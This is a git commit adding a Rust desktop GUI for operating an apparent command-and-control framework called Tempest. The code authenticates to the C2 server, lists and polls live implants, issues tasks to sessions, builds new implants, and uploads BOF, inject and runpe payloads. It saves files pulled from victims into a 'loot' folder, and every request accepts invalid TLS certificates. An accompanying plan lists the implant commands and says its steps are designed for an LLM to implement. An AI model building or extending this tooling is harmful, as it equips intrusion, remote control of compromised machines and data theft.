initial gui dev

This commit is contained in:
Teach2Breach
2025-08-07 16:39:14 -05:00
parent bc87cc4292
commit ee2f87ae4c
14 changed files with 780 additions and 1 deletions
+2 -1
View File
@@ -1 +1,2 @@
.vscode
.vscode
*./target
+2
View File
@@ -0,0 +1,2 @@
/target
Cargo.lock
+25
View File
@@ -0,0 +1,25 @@
[package]
name = "conduit_gui"
version = "0.1.0"
edition = "2021"
[dependencies]
dioxus = "0.5"
dioxus-desktop = "0.5"
tokio = { version = "1", features = ["full"] }
reqwest = { version = "0.11.4", features = ["json", "native-tls", "tokio-native-tls"] }
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
config = "0.10.1"
base64 = "0.21.2"
rfd = "0.14"
chrono = "0.4"
[profile.release]
strip = true
opt-level = "z"
lto = true
codegen-units = 1
panic = "abort"
+92
View File
@@ -0,0 +1,92 @@
use dioxus::prelude::*;
use crate::{AppState};
use crate::services::api;
use crate::models::ImpInfo;
use chrono::{DateTime, NaiveDateTime, Utc};
#[component]
pub fn Dashboard(state: AppState) -> Element {
let imps = use_signal(|| Vec::<ImpInfo>::new());
let connection_msg = use_signal(|| None as Option<String>);
// polling
{
let state_clone = state.clone();
let mut imps_sig = imps.clone();
let mut conn_sig = connection_msg.clone();
use_future(move || async move {
loop {
if let (Some(tok), url) = (state_clone.token.read().clone(), state_clone.base_url.read().clone()) {
match api::fetch_imps(&url, tok.as_str()).await {
Ok(list) => {
*imps_sig.write() = list;
if conn_sig.read().is_some() {
*conn_sig.write() = Some("Connection re-established".to_string());
}
}
Err(e) => {
*conn_sig.write() = Some(format!("Error fetching imp info: {}", e));
}
}
}
tokio::time::sleep(std::time::Duration::from_secs(1)).await;
}
});
}
let open_session = { move |_session: String, _sleep: String, _os: String| { /* placeholder */ } };
let rows_vec: Vec<ImpInfo> = imps.read().iter().cloned().collect();
let status_msg = connection_msg.read().as_ref().cloned();
let rows_iter = rows_vec.into_iter().map(|imp| {
let sleep_secs = imp.sleep.parse::<u64>().unwrap_or(0);
let last_dt: DateTime<Utc> = NaiveDateTime::parse_from_str(&imp.last_check_in, "%Y-%m-%d %H:%M:%S")
.map(|naive| DateTime::from_naive_utc_and_offset(naive, Utc))
.unwrap_or_else(|_| Utc::now());
let diff = Utc::now().signed_duration_since(last_dt);
let is_stale = diff.num_seconds() as u64 > sleep_secs + 60;
let color_class = if is_stale { "stale" } else { "fresh" };
let session = imp.session.clone();
let sleep_s = imp.sleep.clone();
let os = imp.os.clone();
rsx!(
tr { onclick: move |_| open_session(session.clone(), sleep_s.clone(), os.clone()),
td { class: "{color_class}", "{imp.short_session()}" }
td { class: "{color_class}", "{imp.ip}" }
td { class: "{color_class}", "{imp.username}" }
td { class: "{color_class}", "{imp.domain}" }
td { class: "{color_class}", "{imp.os}" }
td { class: "{color_class}", "{imp.imp_pid}" }
td { class: "{color_class}", "{imp.process_name}" }
td { class: "{color_class}", "{imp.sleep}" }
td { class: "{color_class}", "{imp.last_check_in}" }
}
)
});
rsx! {
div { class: "dashboard",
if let Some(msg) = status_msg {
div { class: "status", "{msg}" }
}
table { class: "imp_table",
thead { tr {
th { "Session" }
th { "IP" }
th { "Username" }
th { "Domain" }
th { "OS" }
th { "PID" }
th { "Process" }
th { "Sleep" }
th { "Last Check In" }
}}
tbody { {rows_iter} }
}
}
}
}
+69
View File
@@ -0,0 +1,69 @@
use dioxus::prelude::*;
use crate::services::{api, cfg};
use crate::Route;
use crate::AppState;
#[component]
pub fn Login(state: AppState) -> Element {
let url = use_signal(|| String::new());
let username = use_signal(|| String::new());
let password = use_signal(|| String::new());
let error = use_signal(|| None as Option<String>);
let on_submit = {
let url = url.clone();
let username = username.clone();
let password = password.clone();
let state_clone = state.clone();
let error = error.clone();
move |_| {
let url_val = url.read().clone();
let username_val = username.read().clone();
let password_val = password.read().clone();
spawn(async move {
let mut base = url_val;
if let Some(port) = cfg::load_server_port() {
base = cfg::append_port_if_missing(base, port);
}
match api::authenticate(&base, &username_val, &password_val).await {
Ok(tok) => {
*state_clone.base_url.write() = base;
*state_clone.token.write() = Some(tok);
*state_clone.route.write() = Route::Dashboard;
}
Err(e) => {
*error.write() = Some(format!("Login failed: {}", e));
}
}
});
}
};
rsx! {
div { class: "login",
div { class: "field",
label { "Server URL" }
input { r#type: "text", value: "{url}", oninput: move |e| url.set(e.value()) }
}
div { class: "field",
label { "Username" }
input { r#type: "text", value: "{username}", oninput: move |e| username.set(e.value()) }
}
div { class: "field",
label { "Password" }
input { r#type: "password", value: "{password}", oninput: move |e| password.set(e.value()) }
}
div { class: "actions",
button { onclick: on_submit, "Login" }
}
if let Some(err) = &*error.read() {
div { class: "error", "{err}" }
}
}
}
}
+104
View File
@@ -0,0 +1,104 @@
use dioxus::prelude::*;
use dioxus_desktop::launch::launch;
use dioxus_desktop::Config as DesktopConfig;
mod models;
mod services;
mod components {
pub mod dashboard;
}
#[derive(Clone, PartialEq)]
enum Route {
Login,
Dashboard,
}
#[derive(Clone, PartialEq)]
struct AppState {
base_url: Signal<String>,
token: Signal<Option<String>>,
route: Signal<Route>,
}
fn main() {
launch(App, vec![], DesktopConfig::default());
}
#[component]
fn App() -> Element {
// global signals
let base_url = use_signal(|| String::new());
let token = use_signal(|| None as Option<String>);
let route = use_signal(|| Route::Login);
let state = AppState { base_url, token, route };
// local login signals
let mut url = use_signal(|| String::new());
let mut username = use_signal(|| String::new());
let mut password = use_signal(|| String::new());
let mut error = use_signal(|| None as Option<String>);
let on_submit = {
let mut state_clone = state.clone();
move |_| {
let url_val = url.read().clone();
let username_val = username.read().clone();
let password_val = password.read().clone();
spawn(async move {
let mut base = url_val;
if let Some(port) = services::cfg::load_server_port() {
base = services::cfg::append_port_if_missing(base, port);
}
match services::api::authenticate(&base, &username_val, &password_val).await {
Ok(tok) => {
*state_clone.base_url.write() = base;
*state_clone.token.write() = Some(tok);
*state_clone.route.write() = Route::Dashboard;
}
Err(e) => {
*error.write() = Some(format!("Login failed: {}", e));
}
}
});
}
};
rsx! {
style { "{include_str!(\"./styles.css\")}", }
div { class: "root",
header { class: "app_header", h1 { "Tempest Conduit GUI" } }
main { class: "app_main",
match *state.route.read() {
Route::Login => rsx!(
div { class: "login",
div { class: "field",
label { "Server URL" }
input { r#type: "text", value: "{url}", oninput: move |e| url.set(e.value()) }
}
div { class: "field",
label { "Username" }
input { r#type: "text", value: "{username}", oninput: move |e| username.set(e.value()) }
}
div { class: "field",
label { "Password" }
input { r#type: "password", value: "{password}", oninput: move |e| password.set(e.value()) }
}
div { class: "actions",
button { onclick: on_submit, "Login" }
}
if let Some(err) = &*error.read() {
div { class: "error", "{err}" }
}
}
),
Route::Dashboard => rsx!(components::dashboard::Dashboard { state: state.clone() }),
}
}
}
}
}
+29
View File
@@ -0,0 +1,29 @@
use serde::Deserialize;
#[derive(Deserialize, Debug, Clone, PartialEq)]
pub struct ImpInfo {
pub session: String,
pub ip: String,
pub username: String,
pub domain: String,
pub os: String,
pub imp_pid: String,
pub process_name: String,
pub sleep: String,
pub last_check_in: String,
}
impl ImpInfo {
pub fn short_session(&self) -> String {
let s = self.session.clone();
s.chars()
.rev()
.take(8)
.collect::<String>()
.chars()
.rev()
.collect::<String>()
}
}
+139
View File
@@ -0,0 +1,139 @@
use reqwest::{header::{HeaderMap, HeaderName, HeaderValue}, ClientBuilder};
use base64::{engine::general_purpose, Engine as _};
use crate::models::ImpInfo;
pub async fn authenticate(url: &str, username: &str, password: &str) -> Result<String, Box<dyn std::error::Error + Send + Sync>> {
let url = format!("https://{}/authenticate", url);
let client = ClientBuilder::new()
.danger_accept_invalid_certs(true)
.build()?;
let up64 = general_purpose::STANDARD.encode(format!("{}:{}", username, password));
let auth = format!("Basic {}", up64);
let res = client.post(&url).header("Authorization", auth).send().await?;
if res.status().is_success() {
Ok(res.text().await?.trim().to_string())
} else {
Err(format!("Login failed: {}", res.status()).into())
}
}
pub async fn fetch_imps(url: &str, token: &str) -> Result<Vec<ImpInfo>, Box<dyn std::error::Error + Send + Sync>> {
let url = format!("https://{}/imps", url);
let client = ClientBuilder::new().danger_accept_invalid_certs(true).build()?;
let res = client.get(url).header("X-Token", token).send().await?;
if res.status().is_success() {
let body = res.text().await?;
// First try direct object-based deserialization (expected form)
if let Ok(imps) = serde_json::from_str::<Vec<ImpInfo>>(&body) {
return Ok(imps);
}
// Fallback: tolerate array-form rows with 8 or 9 elements
if let Ok(rows) = serde_json::from_str::<Vec<Vec<serde_json::Value>>>(&body) {
let mapped: Vec<ImpInfo> = rows
.into_iter()
.map(|r| {
let get = |i: usize| -> String {
r.get(i)
.and_then(|v| v.as_str().map(|s| s.to_string()))
.unwrap_or_default()
};
match r.len() {
// 9-element layout: [session, ip, username, domain, os, pid, process, sleep, last_check_in]
9 | 10 => ImpInfo {
session: get(0),
ip: get(1),
username: get(2),
domain: get(3),
os: get(4),
imp_pid: get(5),
process_name: get(6),
sleep: get(7),
last_check_in: get(8),
},
// 8-element layout (observed): [session, username, domain, os, pid, process, sleep, last_check_in]
8 => ImpInfo {
session: get(0),
ip: String::new(),
username: get(1),
domain: get(2),
os: get(3),
imp_pid: get(4),
process_name: get(5),
sleep: get(6),
last_check_in: get(7),
},
// Fallback: best-effort mapping
_ => ImpInfo {
session: get(0),
ip: get(1),
username: get(2),
domain: get(3),
os: get(4),
imp_pid: get(5),
process_name: get(6),
sleep: get(7),
last_check_in: get(8),
},
}
})
.collect();
return Ok(mapped);
}
// If both fail, return original error
return Err("Failed to parse imp info response".into());
} else {
Err(format!("Failed to retrieve imp info: {}", res.status()).into())
}
}
pub async fn issue_task(url: &str, token: &str, session_id: &str, task: &str) -> Result<(), Box<dyn std::error::Error + Send + Sync>> {
let url = format!("https://{}/issue_task", url);
let client = ClientBuilder::new().danger_accept_invalid_certs(true).build()?;
let mut headers = HeaderMap::new();
headers.insert(HeaderName::from_static("x-token"), HeaderValue::from_str(token)?);
headers.insert(HeaderName::from_static("x-session"), HeaderValue::from_str(session_id)?);
headers.insert(HeaderName::from_static("x-task"), HeaderValue::from_str(task)?);
let res = client.post(&url).headers(headers).send().await?;
if res.status().is_success() { Ok(()) } else { Err("Failed to issue task".into()) }
}
pub async fn retrieve_all_out(url: &str, token: &str) -> Result<String, Box<dyn std::error::Error + Send + Sync>> {
let url = format!("https://{}/retrieve_all_out", url);
let client = ClientBuilder::new().danger_accept_invalid_certs(true).build()?;
let mut headers = HeaderMap::new();
headers.insert(HeaderName::from_static("x-token"), HeaderValue::from_str(token)?);
let res = client.get(&url).headers(headers).send().await?;
Ok(res.text().await?)
}
pub async fn build_imp(url: &str, token: &str, target: &str, target_ip: &str, target_port: &str, tsleep: &str, format: &str, jitter: &str) -> Result<Vec<u8>, Box<dyn std::error::Error + Send + Sync>> {
let url = format!("https://{}/build_imp", url);
let client = ClientBuilder::new().danger_accept_invalid_certs(true).build()?;
let mut headers = HeaderMap::new();
headers.insert(HeaderName::from_static("x-token"), HeaderValue::from_str(token)?);
headers.insert(HeaderName::from_static("x-target"), HeaderValue::from_str(target)?);
headers.insert(HeaderName::from_static("x-target-ip"), HeaderValue::from_str(target_ip)?);
headers.insert(HeaderName::from_static("x-target-port"), HeaderValue::from_str(target_port)?);
headers.insert(HeaderName::from_static("x-tsleep"), HeaderValue::from_str(tsleep)?);
headers.insert(HeaderName::from_static("x-format"), HeaderValue::from_str(format)?);
headers.insert(HeaderName::from_static("x-jitter"), HeaderValue::from_str(jitter)?);
let res = client.post(&url).headers(headers).send().await?;
if !res.status().is_success() { return Err(format!("Server returned error: {}", res.status()).into()); }
let bytes = res.bytes().await?;
Ok(bytes.to_vec())
}
pub async fn bofload(url: &str, token: &str, filename: &str, bytes: Vec<u8>) -> Result<(), Box<dyn std::error::Error + Send + Sync>> {
use reqwest::header::{CONTENT_TYPE, USER_AGENT};
let url = format!("https://{}/bofload", url);
let client = ClientBuilder::new().danger_accept_invalid_certs(true).build()?;
let mut headers = HeaderMap::new();
headers.insert("X-Filename", HeaderValue::from_str(filename)?);
headers.insert(CONTENT_TYPE, HeaderValue::from_static("application/octet-stream"));
headers.insert(USER_AGENT, HeaderValue::from_static("reqwest"));
headers.insert("X-Token", HeaderValue::from_str(token)?);
let res = client.post(url).headers(headers).body(bytes).send().await?;
if res.status().is_success() { Ok(()) } else { Err(format!("Upload failed: {}", res.status()).into()) }
}
+20
View File
@@ -0,0 +1,20 @@
use config::{Config, File};
pub fn load_server_port() -> Option<u16> {
let mut settings = Config::default();
if settings.merge(File::with_name("conduit/config")).is_ok() {
if let Ok(port) = settings.get::<u16>("server.port") {
return Some(port);
}
}
None
}
pub fn append_port_if_missing(mut url: String, port: u16) -> String {
if !url.contains(':') {
url = format!("{}:{}", url, port);
}
url
}
+6
View File
@@ -0,0 +1,6 @@
pub mod api;
pub mod cfg;
pub mod output;
pub mod upload;
+39
View File
@@ -0,0 +1,39 @@
use base64::{alphabet, engine, Engine as _};
use std::fs::File;
use std::io::Write;
const CUSTOM_ENGINE: engine::GeneralPurpose = engine::GeneralPurpose::new(&alphabet::URL_SAFE, engine::general_purpose::NO_PAD);
pub fn decode_base64_urlsafe_no_pad(s: &str) -> Option<String> {
if let Ok(bytes) = CUSTOM_ENGINE.decode(s) {
return String::from_utf8(bytes).ok();
}
None
}
pub fn process_retrieved_output(raw: &str) -> Vec<String> {
// raw may contain concatenated outputs; split into lines for UI consumption
raw.lines().map(|l| l.to_string()).collect()
}
// Very similar to TUI logic: detect getfile, decode trailing blob, save to loot/<filename>
pub fn try_handle_getfile(decoded_output: &str) -> Option<String> {
if decoded_output.contains("getfile") {
// trailing token is base64 file data
let b64 = decoded_output.split_whitespace().last()?;
if let Ok(content) = CUSTOM_ENGINE.decode(b64) {
// derive filename from 3rd token (full remote path), then basename, then save to loot/
let remote = decoded_output.split_whitespace().nth(2)?;
let filename = remote.split(['\\', '/']).last()?;
let filename = filename.trim_end_matches(':');
let path = format!("loot/{}", filename);
if let Ok(mut f) = File::create(&path) {
let _ = f.write_all(&content);
return Some(format!("File saved to: {}", path));
}
}
}
None
}
+14
View File
@@ -0,0 +1,14 @@
use rfd::FileDialog;
use std::fs;
pub fn pick_file() -> Option<(String, Vec<u8>)> {
if let Some(path) = FileDialog::new().pick_file() {
let filename = path.file_name()?.to_string_lossy().to_string();
let bytes = fs::read(&path).ok()?;
Some((filename, bytes))
} else {
None
}
}
+16
View File
@@ -0,0 +1,16 @@
.root { font-family: system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; color: #eaeaea; background: #0f0f12; height: 100vh; }
.app_header { padding: 12px 16px; border-bottom: 1px solid #2a2a34; }
.app_main { padding: 16px; }
.login .field { margin-bottom: 12px; display: flex; flex-direction: column; gap: 6px; }
.login input { padding: 8px; border: 1px solid #3a3a45; background: #141419; color: #eaeaea; border-radius: 6px; }
.actions button { padding: 8px 14px; background: #2f6fed; border: none; color: #fff; border-radius: 6px; cursor: pointer; }
.error { color: #ff6b6b; margin-top: 8px; }
.status { color: #a0a0ff; margin-bottom: 8px; }
.imp_table { border-collapse: collapse; width: 100%; }
.imp_table th, .imp_table td { border: 1px solid #2a2a34; padding: 6px 8px; }
.imp_table thead { background: #171722; }
.imp_table tbody tr { cursor: pointer; }
.imp_table tbody tr:hover { background: #1b1b28; }
.imp_table .fresh { color: #ffffff; }
.imp_table .stale { color: #ff5a5a; }
+223
View File
@@ -0,0 +1,223 @@
## Tempest GUI (Dioxus) — Technical Implementation Plan
This document defines a step-by-step plan to build a Rust GUI client that achieves feature parity with the existing `conduit` TUI client, using Dioxus for the UI. Steps are intentionally small and LLM-friendly so we can implement them incrementally and refer back as we go.
### Goals
- Reproduce all `conduit` capabilities in a GUI:
- Secure auth against Anvil and token handling
- Live dashboard of imps with status and last check-in
- Session interaction (issue tasks, view output)
- Build new implants
- File operations: sendfile/getfile, bof upload, inject/runpe upload flows
- SOCKS command issuance
- Persistent and scrollable output view with continuous polling
- Config-driven server port (read `conduit/config.toml`), append port to URL if missing
### High-Level Architecture
- Crate: `conduit_gui` at repo root (sibling to `conduit/` and `Anvil/`).
- Tech stack:
- UI: `dioxus`, `dioxus-desktop` (Wry-based; no need for separate Tauri unless later desired)
- Async/runtime: `tokio`
- HTTP: `reqwest` (TLS with `danger_accept_invalid_certs(true)` to match TUI behavior)
- Data: `serde`, `serde_json`
- Config: `config` crate to read `conduit/config.toml` for server port
- Base64: `base64`
- File dialogs: `rfd` (open/save file picker)
- State mgmt: Dioxus hooks (`use_signal`/`use_state`, `use_coroutine`, `use_context`) and small service layer
### API Contract (parity with TUI)
- POST `https://{url}/authenticate`
- Header: `Authorization: Basic <base64(username:password)>`
- Returns: token string body
- GET `https://{url}/imps`
- Header: `X-Token: <token>`
- Returns: JSON `Vec<ImpInfo>`
- POST `https://{url}/issue_task`
- Headers: `x-token`, `x-session`, `x-task`
- Returns: 2xx on success
- GET `https://{url}/retrieve_all_out`
- Header: `x-token`
- Returns: base64 (URL_SAFE, NO_PAD) encoded concatenated output string
- POST `https://{url}/build_imp`
- Headers: `x-token`, `x-target`, `x-target-ip`, `x-target-port`, `x-tsleep`, `x-format`, `x-jitter`
- Returns: binary bytes (write file with appropriate extension as TUI does)
- POST `https://{url}/bofload`
- Headers: `X-Filename`, `Content-Type: application/octet-stream`, `X-Token`
- Body: raw binary
### Data Models (mirror TUI)
- `ImpInfo` fields: `session`, `ip`, `username`, `domain`, `os`, `imp_pid`, `process_name`, `sleep`, `last_check_in`.
- Output stream: decoded string lines; save file artifacts under `loot/` as in TUI.
### UI Flow
1. Login Screen
- Inputs: URL, Username, Password
- Automatically append port from `conduit/config.toml` if URL lacks port
- On submit → authenticate → store token → navigate to Dashboard
2. Dashboard Screen
- Table of imps (scrollable): columns as TUI; session shown as last 8 chars
- Row color red if last-check-in is older than sleep + 60s (match TUI logic)
- Buttons/actions:
- Open Session (select an imp)
- Build Implant (opens modal/dialog)
- Refresh (manual)
- Background task: poll `/imps` every second, update list and connection status messages
3. Session Screen
- Header with imp identity (session short, ip, user, os)
- Large Output pane (scrollable, preserves up to N lines, e.g. 1000)
- Command input with help hint; Enter sends
- Background task: periodic `retrieve_all_out` and distribute new lines; handle getfile special-case decoding and save to `loot/` (same logic as TUI)
- Commands: same set as TUI; special flows for `sendfile`, `bof`, `inject`, `runpe` to upload file first, then issue task with filename
4. Build Implant Dialog
- Inputs: target_os, format, target_ip, target_port, sleep, jitter
- Calls `/build_imp` and saves file following TUI extension rules
### Directory Layout
```
conduit_gui/
Cargo.toml
src/
main.rs // Dioxus app entry
app.rs // Router and global state
models.rs // ImpInfo and DTOs
services/
mod.rs
api.rs // Reqwest calls, header building
output.rs // decode logic, loot saving
build.rs // build_imp, file save helper
upload.rs // bofload and file helpers
components/
login.rs
dashboard.rs
session.rs
build_dialog.rs
ui/
table.rs // table helpers/styles if needed
```
### Step-by-Step Implementation (LLM-friendly tasks)
1) Bootstrap crate [DONE]
- Created `conduit_gui/` with Dioxus Desktop, Tokio, Reqwest, Serde, Config, Base64, RFD; added release profile similar to `conduit`.
- Implemented runnable Desktop entry using `dioxus_desktop::launch(App, vec![], Config::default())` with a minimal UI shell and CSS.
2) Shared models
- Create `models.rs` with `ImpInfo` struct matching TUI (serde derive).
- Add helper to compute short-session (last 8 chars).
3) Config loader
- Implement `services::config` that loads `conduit/config.toml` (port) and offers `append_port_if_missing(url, port)`.
4) API service layer [DONE - scaffold]
- `services::api` functions:
- `authenticate(url, username, password) -> Result<String, Error>`
- `fetch_imps(url, token) -> Result<Vec<ImpInfo>, Error>`
- `issue_task(url, token, session_id, task) -> Result<(), Error>`
- `retrieve_all_out(url, token) -> Result<String, Error>` (raw base64)
- `build_imp(url, token, params) -> Result<Vec<u8>, Error>`
- `bofload(url, token, filename, bytes) -> Result<(), Error>`
- All requests: `danger_accept_invalid_certs(true)` to mirror TUI
Notes: Implemented per TUI semantics; not yet wired into UI beyond login.
5) Output handling [DONE - scaffold]
- `services::output`:
- `decode_output(raw: String) -> String` using URL_SAFE NO_PAD
- Special-case `getfile` results: detect path and final base64 blob, decode and save to `loot/`, return friendly message path
- Utility to split into lines and dedupe last-seen entry (match TUIs previous_output check)
Notes: Added helpers; dedupe logic to be added when wiring session view.
6) File ops helpers [DONE - scaffold]
- `services::upload`:
- `open_file_dialog() -> Option<(filename, bytes)>` via `rfd`
- For `sendfile`, `inject`, `runpe`, `bof` upload flow: return server filename (basename) for task string
7) Global app state and routing
- `app.rs` with a shared `AppState` context:
- `token: Option<String>`
- `base_url: String`
- `imps: Vec<ImpInfo>`
- `output_lines: VecDeque<String>` (session page)
- `connection_msg: Option<String>`
- Simple enum route: `Route::Login | Route::Dashboard | Route::Session { session_id, sleep, os }`
- Provide context and navigation helpers
8) Login component [DONE]
- Fields: URL, Username, Password (masked), submit button
- On submit: load port from config, append if needed; call `authenticate`, store token + url, navigate to Dashboard
- Handle error display
Notes: Implemented inline within `App` for now to reduce boilerplate. Will refactor into `components::login` later if needed.
9) Dashboard component [DONE - basic]
- Implemented polling each second using `use_future(move || async move { ... })` and updating a signal-backed list.
- Rendered table with columns matching TUI and a stale/fresh color rule (red after `sleep + 60s`).
- Row click handler stubbed for now; will route to Session in next step.
Notes: RSX requires owned rows for iteration; used `map(..)` to build row nodes and inserted iterator directly in `tbody`.
10) Session component
- Show imp header and a scrollable output area; cap to 1000 lines
- Command input with help hints (contextual to OS: windows/linux/generic as in TUI)
- Background poller: every N seconds (see logic below) call `retrieve_all_out`, decode, split, push lines into output (skip dupes)
- Command handling:
- Direct tasks: `whoami`, `ipconfig`, `ps`, `cd`, `pwd`, `ls`, `catfile`, `cmd`, `pwsh`, `sh`, `wmi`, `socks`, `sleep`, `kill`, `q|quit`
- `sendfile`/`bof`/`inject`/`runpe`: open file dialog, upload file via `bofload`, then issue task text with just filename (and any args)
- On `q|quit`: navigate back to Dashboard
11) Poll timing logic (match TUI behavior)
- For dashboard imps polling: fixed 1-second interval
- For session output polling: choose interval equal to min(imp.sleep) from dashboard data or a default (3s) if unknown; add jitter behavior later if needed
12) Build dialog
- Fields: `target_os`, `format`, `target_ip`, `target_port`, `sleep`, `jitter`
- Submit calls `build_imp`, then save bytes to a file:
- Windows: `.exe` for `exe`, `.dll` for `dll`, `.bin` for `raw`
- Linux: no extension (match TUI)
- Show completion toast with file path
13) Loot folder
- Ensure `loot/` exists at app start; write downloads there as TUI does
14) Error handling & UX
- Show inline errors (auth, network) and a reconnect message when connectivity resumes (replicate TUIs "Connection re-established")
- Prevent duplicate output lines; keep last N
15) Testing strategy
- Unit tests for `services::output::decode_output` and getfile parsing/save
- Smoke-tests for API layer behind a feature flag or mock server
- Manual E2E against Anvil
16) Packaging & Run
- `cargo run -p conduit_gui`
- Later: produce single-file binaries for Windows/Linux/macOS
### Feature Parity Checklist
- [ ] Auth flow with Basic auth → token persisted in memory
- [ ] Dashboard imps list with coloring rule and scrolling
- [ ] Session view with command input and output scrolling (1000-line cap)
- [ ] Continuous output polling and dedupe
- [ ] All tasks supported; special upload flows for `sendfile`/`bof`/`inject`/`runpe`
- [ ] Build implant workflow and file save rules
- [ ] Config port append behavior
- [ ] Loot directory writes for getfile
- [ ] Connection status messages
### Initial Task Breakdown for Implementation
1. Create crate, deps, and hello-world Dioxus app
2. Add models and config loader
3. Implement API service functions (auth, fetch_imps)
4. Build Login component → wire auth
5. Build Dashboard with polling → render table
6. Implement Session view scaffolding → issue_task
7. Add retrieve_all_out polling and output decoding
8. Implement upload flows (`bofload`) + command wiring for `bof`/`inject`/`runpe`/`sendfile`
9. Implement Build dialog and saving rules
10. Polish UX: scrolling, toasts, errors, connection messages
11. Add tests for decode and file save helpers
### Notes
- Dioxus Desktop is chosen for simplicity and native-feel. If we later want Tauri packaging or a web build (Dioxus Web), the architecture isolates services and components to make that feasible.
- We mirror TUIs permissive TLS handling for parity; consider hardening later.